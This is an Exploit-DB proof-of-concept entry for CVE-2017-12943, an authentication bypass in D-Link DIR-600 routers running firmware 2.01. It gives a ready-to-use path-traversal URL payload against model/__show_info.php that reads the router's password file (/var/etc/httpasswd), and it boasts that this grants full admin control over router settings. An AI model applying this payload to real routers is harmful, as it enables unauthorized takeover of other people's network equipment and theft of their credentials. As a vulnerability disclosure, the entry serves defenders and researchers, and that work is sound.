D-Link DIR-600 - Authentication Bypass

EDB-ID: 42581
Author: Jithin D Kurup
Published: 2017-08-29
CVE: CVE-2017-12943
Type: Webapps
Platform: Hardware
Vulnerable App: N/A

 # CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12943 
# Date: 29-08-2017
# Exploit Author: Jithin D Kurup
# Contact : https://in.linkedin.com/in/jithin-d-kurup-77b616142
# Vendor : www.dlink.com
# Version: Hardware version: B1
Firmware version: 2.01
# Tested on:All Platforms

1) Description

After Successfully Connected to D-Link DIR-600
Router(FirmWare Version : 2.01), Any User Can Easily Bypass The Router's
Admin Panel Just by adding a simple payload into URL.

D-Link DIR-600 Rev Bx devices with v2.x firmware allow remote attackers to
read passwords via a model/__show_info.php?REQUIRE_FILE= absolute path traversal attack,
as demonstrated by discovering the admin password.

Its More Dangerous when your Router has a public IP with remote login

Tested Router IP :

Video POC : https://www.youtube.com/watch?v=PeNOJORAQsQ

2) Proof of Concept

Step 1: Go to
Router Login Page :

Step 2:
Add the payload to URL.

Payload: model/__show_info.php?REQUIRE_FILE=%2Fvar%2Fetc%2Fhttpasswd

Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.

+++++++++++ www.0seccon.com ++++++++++++

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